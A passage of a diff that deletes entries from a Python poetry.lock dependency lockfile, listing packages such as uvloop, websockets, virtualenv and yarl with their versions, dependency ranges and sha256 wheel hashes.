"sha256:183aef7c8730e54c9a3ee3227464daed66e37ba13040bb3f350bc2ddc040f22f"}, - {file = "uvloop-0.21.0-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:bfd55dfcc2a512316e65f16e503e9e450cab148ef11df4e4e679b5e8253a5281"}, - {file = "uvloop-0.21.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:787ae31ad8a2856fc4e7c095341cccc7209bd657d0e71ad0dc2ea83c4a6fa8af"}, - {file = "uvloop-0.21.0-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5ee4d4ef48036ff6e5cfffb09dd192c7a5027153948d85b8da7ff705065bacc6"}, - {file = "uvloop-0.21.0-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f3df876acd7ec037a3d005b3ab85a7e4110422e4d9c1571d4fc89b0fc41b6816"}, - {file = "uvloop-0.21.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:bd53ecc9a0f3d87ab847503c2e1552b690362e005ab54e8a48ba97da3924c0dc"}, - {file = "uvloop-0.21.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:a5c39f217ab3c663dc699c04cbd50c13813e31d917642d459fdcec07555cc553"}, - {file = "uvloop-0.21.0-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:17df489689befc72c39a08359efac29bbee8eee5209650d4b9f34df73d22e414"}, - {file = "uvloop-0.21.0-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:bc09f0ff191e61c2d592a752423c767b4ebb2986daa9ed62908e2b1b9a9ae206"}, - {file = "uvloop-0.21.0-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f0ce1b49560b1d2d8a2977e3ba4afb2414fb46b86a1b64056bc4ab929efdafbe"}, - {file = "uvloop-0.21.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e678ad6fe52af2c58d2ae3c73dc85524ba8abe637f134bf3564ed07f555c5e79"}, - {file = "uvloop-0.21.0-cp38-cp38-musllinux_1_2_aarch64.whl", hash = "sha256:460def4412e473896ef179a1671b40c039c7012184b627898eea5072ef6f017a"}, - {file = "uvloop-0.21.0-cp38-cp38-musllinux_1_2_x86_64.whl", hash = "sha256:10da8046cc4a8f12c91a1c39d1dd1585c41162a15caaef165c2174db9ef18bdc"}, - {file = "uvloop-0.21.0-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:c097078b8031190c934ed0ebfee8cc5f9ba9642e6eb88322b9958b649750f72b"}, - {file = "uvloop-0.21.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:46923b0b5ee7fc0020bef24afe7836cb068f5050ca04caf6b487c513dc1a20b2"}, - {file = "uvloop-0.21.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:53e420a3afe22cdcf2a0f4846e377d16e718bc70103d7088a4f7623567ba5fb0"}, - {file = "uvloop-0.21.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:88cb67cdbc0e483da00af0b2c3cdad4b7c61ceb1ee0f33fe00e09c81e3a6cb75"}, - {file = "uvloop-0.21.0-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:221f4f2a1f46032b403bf3be628011caf75428ee3cc204a22addf96f586b19fd"}, - {file = "uvloop-0.21.0-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:2d1f581393673ce119355d56da84fe1dd9d2bb8b3d13ce792524e1607139feff"}, - {file = "uvloop-0.21.0.tar.gz", hash = "sha256:3bf12b0fda68447806a7ad847bfa591613177275d35b6724b1ee573faa3704e3"}, -] - -[package.extras] -dev = ["Cython (>=3.0,<4.0)", "setuptools (>=60)"] -docs = ["Sphinx (>=4.1.2,<4.2.0)", "sphinx-rtd-theme (>=0.5.2,<0.6.0)", "sphinxcontrib-asyncio (>=0.3.0,<0.4.0)"] -test = ["aiohttp (>=3.10.5)", "flake8 (>=5.0,<6.0)", "mypy (>=0.800)", "psutil", "pyOpenSSL (>=23.0.0,<23.1.0)", "pycodestyle (>=2.9.0,<2.10.0)"] - -[[package]] -name = "virtualenv" -version = "20.33.1" -description = "Virtual Python Environment builder" -optional = false -python-versions = ">=3.8" -groups = ["dev"] -files = [ - {file = "virtualenv-20.33.1-py3-none-any.whl", hash = "sha256:07c19bc66c11acab6a5958b815cbcee30891cd1c2ccf53785a28651a0d8d8a67"}, - {file = "virtualenv-20.33.1.tar.gz", hash = "sha256:1b44478d9e261b3fb8baa5e74a0ca3bc0e05f21aa36167bf9cbf850e542765b8"}, -] - -[package.dependencies] -distlib = ">=0.3.7,<1" -filelock = ">=3.12.2,<4" -platformdirs = ">=3.9.1,<5" - -[package.extras] -docs = ["furo (>=2023.7.26)", "proselint (>=0.13)", "sphinx (>=7.1.2,!=7.3)", "sphinx-argparse (>=0.4)", "sphinxcontrib-towncrier (>=0.2.1a0)", "towncrier (>=23.6)"] -test = ["covdefaults (>=2.3)", "coverage (>=7.2.7)", "coverage-enable-subprocess (>=1)", "flaky (>=3.7)", "packaging (>=23.1)", "pytest (>=7.4)", "pytest-env (>=0.8.2)", "pytest-freezer (>=0.4.8)", "pytest-mock (>=3.11.1)", "pytest-randomly (>=3.12)", "pytest-timeout (>=2.1)", "setuptools (>=68)", "time-machine (>=2.10)"] - -[[package]] -name = "wcwidth" -version = "0.2.13" -description = "Measures the displayed width of unicode strings in a terminal" -optional = false -python-versions = "*" -groups = ["main"] -files = [ - {file = "wcwidth-0.2.13-py2.py3-none-any.whl", hash = "sha256:3da69048e4540d84af32131829ff948f1e022c1c6bdb8d6102117aac784f6859"}, - {file = "wcwidth-0.2.13.tar.gz", hash = "sha256:72ea0c06399eb286d978fdedb6923a9eb47e1c486ce63e9b4e64fc18303972b5"}, -] - -[[package]] -name = "websockets" -version = "13.1" -description = "An implementation of the WebSocket Protocol (RFC 6455 & 7692)" -optional = false -python-versions = ">=3.8" -groups = ["main"] -files = [ - {file = "websockets-13.1-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:f48c749857f8fb598fb890a75f540e3221d0976ed0bf879cf3c7eef34151acee"}, - {file = "websockets-13.1-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:c7e72ce6bda6fb9409cc1e8164dd41d7c91466fb599eb047cfda72fe758a34a7"}, - {file = "websockets-13.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:f779498eeec470295a2b1a5d97aa1bc9814ecd25e1eb637bd9d1c73a327387f6"}, - {file = "websockets-13.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:4676df3fe46956fbb0437d8800cd5f2b6d41143b6e7e842e60554398432cf29b"}, - {file = "websockets-13.1-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:a7affedeb43a70351bb811dadf49493c9cfd1ed94c9c70095fd177e9cc1541fa"}, - {file = "websockets-13.1-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1971e62d2caa443e57588e1d82d15f663b29ff9dfe7446d9964a4b6f12c1e700"}, - {file = "websockets-13.1-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:5f2e75431f8dc4a47f31565a6e1355fb4f2ecaa99d6b89737527ea917066e26c"}, - {file = "websockets-13.1-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:58cf7e75dbf7e566088b07e36ea2e3e2bd5676e22216e4cad108d4df4a7402a0"}, - {file = "websockets-13.1-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:c90d6dec6be2c7d03378a574de87af9b1efea77d0c52a8301dd831ece938452f"}, - {file = "websockets-13.1-cp310-cp310-win32.whl", hash = "sha256:730f42125ccb14602f455155084f978bd9e8e57e89b569b4d7f0f0c17a448ffe"}, - {file = "websockets-13.1-cp310-cp310-win_amd64.whl", hash = "sha256:5993260f483d05a9737073be197371940c01b257cc45ae3f1d5d7adb371b266a"}, - {file = "websockets-13.1-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:61fc0dfcda609cda0fc9fe7977694c0c59cf9d749fbb17f4e9483929e3c48a19"}, - {file = "websockets-13.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:ceec59f59d092c5007e815def4ebb80c2de330e9588e101cf8bd94c143ec78a5"}, - {file = "websockets-13.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:c1dca61c6db1166c48b95198c0b7d9c990b30c756fc2923cc66f68d17dc558fd"}, - {file = "websockets-13.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:308e20f22c2c77f3f39caca508e765f8725020b84aa963474e18c59accbf4c02"}, - {file = "websockets-13.1-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:62d516c325e6540e8a57b94abefc3459d7dab8ce52ac75c96cad5549e187e3a7"}, - {file = "websockets-13.1-cp311-cp311-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:87c6e35319b46b99e168eb98472d6c7d8634ee37750d7693656dc766395df096"}, - {file = "websockets-13.1-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:5f9fee94ebafbc3117c30be1844ed01a3b177bb6e39088bc6b2fa1dc15572084"}, - {file = "websockets-13.1-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:7c1e90228c2f5cdde263253fa5db63e6653f1c00e7ec64108065a0b9713fa1b3"}, - {file = "websockets-13.1-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:6548f29b0e401eea2b967b2fdc1c7c7b5ebb3eeb470ed23a54cd45ef078a0db9"}, - {file = "websockets-13.1-cp311-cp311-win32.whl", hash = "sha256:c11d4d16e133f6df8916cc5b7e3e96ee4c44c936717d684a94f48f82edb7c92f"}, - {file = "websockets-13.1-cp311-cp311-win_amd64.whl", hash = "sha256:d04f13a1d75cb2b8382bdc16ae6fa58c97337253826dfe136195b7f89f661557"}, - {file = "websockets-13.1-cp312-cp312-macosx_10_9_universal2.whl", hash = "sha256:9d75baf00138f80b48f1eac72ad1535aac0b6461265a0bcad391fc5aba875cfc"}, - {file = "websockets-13.1-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:9b6f347deb3dcfbfde1c20baa21c2ac0751afaa73e64e5b693bb2b848efeaa49"}, - {file = "websockets-13.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:de58647e3f9c42f13f90ac7e5f58900c80a39019848c5547bc691693098ae1bd"}, - {file = "websockets-13.1-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a1b54689e38d1279a51d11e3467dd2f3a50f5f2e879012ce8f2d6943f00e83f0"}, - {file = "websockets-13.1-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:cf1781ef73c073e6b0f90af841aaf98501f975d306bbf6221683dd594ccc52b6"}, - {file = "websockets-13.1-cp312-cp312-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8d23b88b9388ed85c6faf0e74d8dec4f4d3baf3ecf20a65a47b836d56260d4b9"}, - {file = "websockets-13.1-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:3c78383585f47ccb0fcf186dcb8a43f5438bd7d8f47d69e0b56f71bf431a0a68"}, - {file = "websockets-13.1-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:d6d300f8ec35c24025ceb9b9019ae9040c1ab2f01cddc2bcc0b518af31c75c14"}, - {file = "websockets-13.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:a9dcaf8b0cc72a392760bb8755922c03e17a5a54e08cca58e8b74f6902b433cf"}, - {file = "websockets-13.1-cp312-cp312-win32.whl", hash = "sha256:2f85cf4f2a1ba8f602298a853cec8526c2ca42a9a4b947ec236eaedb8f2dc80c"}, - {file = "websockets-13.1-cp312-cp312-win_amd64.whl", hash = "sha256:38377f8b0cdeee97c552d20cf1865695fcd56aba155ad1b4ca8779a5b6ef4ac3"}, - {file = "websockets-13.1-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:a9ab1e71d3d2e54a0aa646ab6d4eebfaa5f416fe78dfe4da2839525dc5d765c6"}, - {file = "websockets-13.1-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:b9d7439d7fab4dce00570bb906875734df13d9faa4b48e261c440a5fec6d9708"}, - {file = "websockets-13.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:327b74e915cf13c5931334c61e1a41040e365d380f812513a255aa804b183418"}, - {file = "websockets-13.1-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:325b1ccdbf5e5725fdcb1b0e9ad4d2545056479d0eee392c291c1bf76206435a"}, - {file = "websockets-13.1-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:346bee67a65f189e0e33f520f253d5147ab76ae42493804319b5716e46dddf0f"}, - {file = "websockets-13.1-cp313-cp313-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:91a0fa841646320ec0d3accdff5b757b06e2e5c86ba32af2e0815c96c7a603c5"}, - {file = "websockets-13.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:18503d2c5f3943e93819238bf20df71982d193f73dcecd26c94514f417f6b135"}, - {file = "websockets-13.1-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:a9cd1af7e18e5221d2878378fbc287a14cd527fdd5939ed56a18df8a31136bb2"}, - {file = "websockets-13.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:70c5be9f416aa72aab7a2a76c90ae0a4fe2755c1816c153c1a2bcc3333ce4ce6"}, - {file = "websockets-13.1-cp313-cp313-win32.whl", hash = "sha256:624459daabeb310d3815b276c1adef475b3e6804abaf2d9d2c061c319f7f187d"}, - {file = "websockets-13.1-cp313-cp313-win_amd64.whl", hash = "sha256:c518e84bb59c2baae725accd355c8dc517b4a3ed8db88b4bc93c78dae2974bf2"}, - {file = "websockets-13.1-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:c7934fd0e920e70468e676fe7f1b7261c1efa0d6c037c6722278ca0228ad9d0d"}, - {file = "websockets-13.1-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:149e622dc48c10ccc3d2760e5f36753db9cacf3ad7bc7bbbfd7d9c819e286f23"}, - {file = "websockets-13.1-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:a569eb1b05d72f9bce2ebd28a1ce2054311b66677fcd46cf36204ad23acead8c"}, - {file = "websockets-13.1-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:95df24ca1e1bd93bbca51d94dd049a984609687cb2fb08a7f2c56ac84e9816ea"}, - {file = "websockets-13.1-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d8dbb1bf0c0a4ae8b40bdc9be7f644e2f3fb4e8a9aca7145bfa510d4a374eeb7"}, - {file = "websockets-13.1-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:035233b7531fb92a76beefcbf479504db8c72eb3bff41da55aecce3a0f729e54"}, - {file = "websockets-13.1-cp38-cp38-musllinux_1_2_aarch64.whl", hash = "sha256:e4450fc83a3df53dec45922b576e91e94f5578d06436871dce3a6be38e40f5db"}, - {file = "websockets-13.1-cp38-cp38-musllinux_1_2_i686.whl", hash = "sha256:463e1c6ec853202dd3657f156123d6b4dad0c546ea2e2e38be2b3f7c5b8e7295"}, - {file = "websockets-13.1-cp38-cp38-musllinux_1_2_x86_64.whl", hash = "sha256:6d6855bbe70119872c05107e38fbc7f96b1d8cb047d95c2c50869a46c65a8e96"}, - {file = "websockets-13.1-cp38-cp38-win32.whl", hash = "sha256:204e5107f43095012b00f1451374693267adbb832d29966a01ecc4ce1db26faf"}, - {file = "websockets-13.1-cp38-cp38-win_amd64.whl", hash = "sha256:485307243237328c022bc908b90e4457d0daa8b5cf4b3723fd3c4a8012fce4c6"}, - {file = "websockets-13.1-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:9b37c184f8b976f0c0a231a5f3d6efe10807d41ccbe4488df8c74174805eea7d"}, - {file = "websockets-13.1-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:163e7277e1a0bd9fb3c8842a71661ad19c6aa7bb3d6678dc7f89b17fbcc4aeb7"}, - {file = "websockets-13.1-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:4b889dbd1342820cc210ba44307cf75ae5f2f96226c0038094455a96e64fb07a"}, - {file = "websockets-13.1-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:586a356928692c1fed0eca68b4d1c2cbbd1ca2acf2ac7e7ebd3b9052582deefa"}, - {file = "websockets-13.1-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:7bd6abf1e070a6b72bfeb71049d6ad286852e285f146682bf30d0296f5fbadfa"}, - {file = "websockets-13.1-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6d2aad13a200e5934f5a6767492fb07151e1de1d6079c003ab31e1823733ae79"}, - {file = "websockets-13.1-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:df01aea34b6e9e33572c35cd16bae5a47785e7d5c8cb2b54b2acdb9678315a17"}, - {file = "websockets-13.1-cp39-cp39-musllinux_1_2_i686.whl", hash = "sha256:e54affdeb21026329fb0744ad187cf812f7d3c2aa702a5edb562b325191fcab6"}, - {file = "websockets-13.1-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:9ef8aa8bdbac47f4968a5d66462a2a0935d044bf35c0e5a8af152d58516dbeb5"}, - {file = "websockets-13.1-cp39-cp39-win32.whl", hash = "sha256:deeb929efe52bed518f6eb2ddc00cc496366a14c726005726ad62c2dd9017a3c"}, - {file = "websockets-13.1-cp39-cp39-win_amd64.whl", hash = "sha256:7c65ffa900e7cc958cd088b9a9157a8141c991f8c53d11087e6fb7277a03f81d"}, - {file = "websockets-13.1-pp310-pypy310_pp73-macosx_10_15_x86_64.whl", hash = "sha256:5dd6da9bec02735931fccec99d97c29f47cc61f644264eb995ad6c0c27667238"}, - {file = "websockets-13.1-pp310-pypy310_pp73-macosx_11_0_arm64.whl", hash = "sha256:2510c09d8e8df777177ee3d40cd35450dc169a81e747455cc4197e63f7e7bfe5"}, - {file = "websockets-13.1-pp310-pypy310_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f1c3cf67185543730888b20682fb186fc8d0fa6f07ccc3ef4390831ab4b388d9"}, - {file = "websockets-13.1-pp310-pypy310_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:bcc03c8b72267e97b49149e4863d57c2d77f13fae12066622dc78fe322490fe6"}, - {file = "websockets-13.1-pp310-pypy310_pp73-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:004280a140f220c812e65f36944a9ca92d766b6cc4560be652a0a3883a79ed8a"}, - {file = "websockets-13.1-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:e2620453c075abeb0daa949a292e19f56de518988e079c36478bacf9546ced23"}, - {file = "websockets-13.1-pp38-pypy38_pp73-macosx_10_9_x86_64.whl", hash = "sha256:9156c45750b37337f7b0b00e6248991a047be4aa44554c9886fe6bdd605aab3b"}, - {file = "websockets-13.1-pp38-pypy38_pp73-macosx_11_0_arm64.whl", hash = "sha256:80c421e07973a89fbdd93e6f2003c17d20b69010458d3a8e37fb47874bd67d51"}, - {file = "websockets-13.1-pp38-pypy38_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:82d0ba76371769d6a4e56f7e83bb8e81846d17a6190971e38b5de108bde9b0d7"}, - {file = "websockets-13.1-pp38-pypy38_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:e9875a0143f07d74dc5e1ded1c4581f0d9f7ab86c78994e2ed9e95050073c94d"}, - {file = "websockets-13.1-pp38-pypy38_pp73-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a11e38ad8922c7961447f35c7b17bffa15de4d17c70abd07bfbe12d6faa3e027"}, - {file = "websockets-13.1-pp38-pypy38_pp73-win_amd64.whl", hash = "sha256:4059f790b6ae8768471cddb65d3c4fe4792b0ab48e154c9f0a04cefaabcd5978"}, - {file = "websockets-13.1-pp39-pypy39_pp73-macosx_10_15_x86_64.whl", hash = "sha256:25c35bf84bf7c7369d247f0b8cfa157f989862c49104c5cf85cb5436a641d93e"}, - {file = "websockets-13.1-pp39-pypy39_pp73-macosx_11_0_arm64.whl", hash = "sha256:83f91d8a9bb404b8c2c41a707ac7f7f75b9442a0a876df295de27251a856ad09"}, - {file = "websockets-13.1-pp39-pypy39_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:7a43cfdcddd07f4ca2b1afb459824dd3c6d53a51410636a2c7fc97b9a8cf4842"}, - {file = "websockets-13.1-pp39-pypy39_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:48a2ef1381632a2f0cb4efeff34efa97901c9fbc118e01951ad7cfc10601a9bb"}, - {file = "websockets-13.1-pp39-pypy39_pp73-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:459bf774c754c35dbb487360b12c5727adab887f1622b8aed5755880a21c4a20"}, - {file = "websockets-13.1-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:95858ca14a9f6fa8413d29e0a585b31b278388aa775b8a81fa24830123874678"}, - {file = "websockets-13.1-py3-none-any.whl", hash = "sha256:a9a396a6ad26130cdae92ae10c36af09d9bfe6cafe69670fd3b6da9b07b4044f"}, - {file = "websockets-13.1.tar.gz", hash = "sha256:a3b3366087c1bc0a2795111edcadddb8b3b59509d5db5d7ea3fdd69f954a8878"}, -] - -[[package]] -name = "whatthepatch" -version = "1.0.7" -description = "A patch parsing and application library." -optional = false -python-versions = ">=3.9" -groups = ["main"] -files = [ - {file = "whatthepatch-1.0.7-py3-none-any.whl", hash = "sha256:1b6f655fd31091c001c209529dfaabbabdbad438f5de14e3951266ea0fc6e7ed"}, - {file = "whatthepatch-1.0.7.tar.gz", hash = "sha256:9eefb4ebea5200408e02d413d2b4bc28daea6b78bb4b4d53431af7245f7d7edf"}, -] - -[[package]] -name = "xlrd" -version = "2.0.2" -description = "Library for developers to extract data from Microsoft Excel (tm) .xls spreadsheet files" -optional = false -python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,!=3.5.*,>=2.7" -groups = ["main"] -files = [ - {file = "xlrd-2.0.2-py2.py3-none-any.whl", hash = "sha256:ea762c3d29f4cca48d82df517b6d89fbce4db3107f9d78713e48cd321d5c9aa9"}, - {file = "xlrd-2.0.2.tar.gz", hash = "sha256:08b5e25de58f21ce71dc7db3b3b8106c1fa776f3024c54e45b45b374e89234c9"}, -] - -[package.extras] -build = ["twine", "wheel"] -docs = ["sphinx"] -test = ["pytest", "pytest-cov"] - -[[package]] -name = "xlsxwriter" -version = "3.2.5" -description = "A Python module for creating Excel XLSX files." -optional = false -python-versions = ">=3.8" -groups = ["main"] -files = [ - {file = "xlsxwriter-3.2.5-py3-none-any.whl", hash = "sha256:4f4824234e1eaf9d95df9a8fe974585ff91d0f5e3d3f12ace5b71e443c1c6abd"}, - {file = "xlsxwriter-3.2.5.tar.gz", hash = "sha256:7e88469d607cdc920151c0ab3ce9cf1a83992d4b7bc730c5ffdd1a12115a7dbe"}, -] - -[[package]] -name = "xmltodict" -version = "0.13.0" -description = "Makes working with XML feel like you are working with JSON" -optional = false -python-versions = ">=3.4" -groups = ["main"] -files = [ - {file = "xmltodict-0.13.0-py2.py3-none-any.whl", hash = "sha256:aa89e8fd76320154a40d19a0df04a4695fb9dc5ba977cbb68ab3e4eb225e7852"}, - {file = "xmltodict-0.13.0.tar.gz", hash = "sha256:341595a488e3e01a85a9d8911d8912fd922ede5fecc4dce437eb4b6c8d037e56"}, -] - -[[package]] -name = "yarl" -version = "1.20.1" -description = "Yet another URL library" -optional = false -python-versions = ">=3.9" -groups = ["main"] -files = [ - {file = "yarl-1.20.1-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:6032e6da6abd41e4acda34d75a816012717000fa6839f37124a47fcefc49bec4"}, - {file = "yarl-1.20.1-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:2c7b34d804b8cf9b214f05015c4fee2ebe7ed05cf581e7192c06555c71f4446a"}, - {file = "yarl-1.20.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:0c869f2651cc77465f6cd01d938d91a11d9ea5d798738c1dc077f3de0b5e5fed"}, - {file = "yarl-1.20.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:62915e6688eb4d180d93840cda4110995ad50c459bf931b8b3775b37c264af1e"}, - {file = "yarl-1.20.1-cp310-cp310-manylinux_2_17_armv7l.manylinux2014_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:41ebd28167bc6af8abb97fec1a399f412eec5fd61a3ccbe2305a18b84fb4ca73"}, - {file = "yarl-1.20.1-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:21242b4288a6d56f04ea193adde174b7e347ac46ce6bc84989ff7c1b1ecea84e"}, - {file = "yarl-1.20.1-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:bea21cdae6c7eb02ba02a475f37463abfe0a01f5d7200121b03e605d6a0439f8"}, - {file = "yarl-1.20.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1f8a891e4a22a89f5dde7862994485e19db246b70bb288d3ce73a34422e55b23"}, - {file = "yarl-1.20.1-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:dd803820d44c8853a109a34e3660e5a61beae12970da479cf44aa2954019bf70"}, - {file = "yarl-1.20.1-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:b982fa7f74c80d5c0c7b5b38f908971e513380a10fecea528091405f519b9ebb"}, - {file = "yarl-1.20.1-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:33f29ecfe0330c570d997bcf1afd304377f2e48f61447f37e846a6058a4d33b2"}, - {file = "yarl-1.20.1-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:835ab2cfc74d5eb4a6a528c57f05688099da41cf4957cf08cad38647e4a83b30"}, - {file = "yarl-1.20.1-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:46b5e0ccf1943a9a6e766b2c2b8c732c55b34e28be57d8daa2b3c1d1d4009309"}, - {file = "yarl-1.20.1-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:df47c55f7d74127d1b11251fe6397d84afdde0d53b90bedb46a23c0e534f9d24"}, - {file = "yarl-1.20.1-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:76d12524d05841276b0e22573f28d5fbcb67589836772ae9244d90dd7d66aa13"}, - {file = "yarl-1.20.1-cp310-cp310-win32.whl", hash = "sha256:6c4fbf6b02d70e512d7ade4b1f998f237137f1417ab07ec06358ea04f69134f8"}, - {file = "yarl-1.20.1-cp310-cp310-win_amd64.whl", hash = "sha256:aef6c4d69554d44b7f9d923245f8ad9a707d971e6209d51279196d8e8fe1ae16"}, - {file = "yarl-1.20.1-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:47ee6188fea634bdfaeb2cc420f5b3b17332e6225ce88149a17c413c77ff269e"}, - {file = "yarl-1.20.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:d0f6500f69e8402d513e5eedb77a4e1818691e8f45e6b687147963514d84b44b"}, - {file = "yarl-1.20.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:7a8900a42fcdaad568de58887c7b2f602962356908eedb7628eaf6021a6e435b"}, - {file = "yarl-1.20.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:bad6d131fda8ef508b36be3ece16d0902e80b88ea7200f030a0f6c11d9e508d4"}, - {file = "yarl-1.20.1-cp311-cp311-manylinux_2_17_armv7l.manylinux2014_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:df018d92fe22aaebb679a7f89fe0c0f368ec497e3dda6cb81a567610f04501f1"}, - {file = "yarl-1.20.1-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:8f969afbb0a9b63c18d0feecf0db09d164b7a44a053e78a7d05f5df163e43833"}, - {file = "yarl-1.20.1-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = 